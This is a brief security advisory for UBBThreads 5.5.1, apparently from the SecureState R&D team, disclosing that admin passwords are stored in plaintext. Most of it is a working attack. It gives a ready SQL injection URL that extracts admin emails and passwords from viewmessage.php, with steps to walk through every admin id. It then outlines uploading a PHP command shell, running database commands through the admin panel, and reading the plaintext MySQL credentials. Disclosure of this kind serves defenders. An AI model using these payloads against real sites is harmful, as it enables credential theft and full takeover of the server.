Discovered: 07-18-08 By: SecureState R&D Team (sasquatch) www.securestate.com Background: ----------- SQL injection has previously been discovered (http://www.securityfocus.com/bid/14052/) New Details: ------------ UBBThreads is nice enough to encrypt/mask the regular users' passwords in the database, but stores the admin users' passwords plaintext! Vulnerable Versions: -------------------- Tested on version 5.5.1, others may be vulnerable Admin Login SQL Injection ------------------------- http://www.website.com/ubbthreads/viewmessage.php?Cat=&message=-99%20UNION%20SELECT%20null,email,password,0,0%20FROM%20admin_users%20WHERE%20id=1/*&status=N&box=received ++ Email is in From: field of forum post ++ Password is text body of post ++ Increment the "id" to obtain each admin's credentials (1, 2, 3, etc.) Admin login: ------------ http://www.website.com/Admin/login.php $query = "SELECT * FROM admin_users WHERE email = '$email' AND password = '$password'"; Other Avenues for Attack: ------------------------- ++ Turn on file attachments via /ubbthreads/admin/editconfig.php?Cat= and then upload a php command shell as an attachment to a post ;) ++ Query MySQL database via /ubbthreads/admin/dbcommand.php?Cat= ++ Get MySQL username/password (it is plaintext) - view HTML Source of /ubbthreads/admin/editconfig.php?Cat=
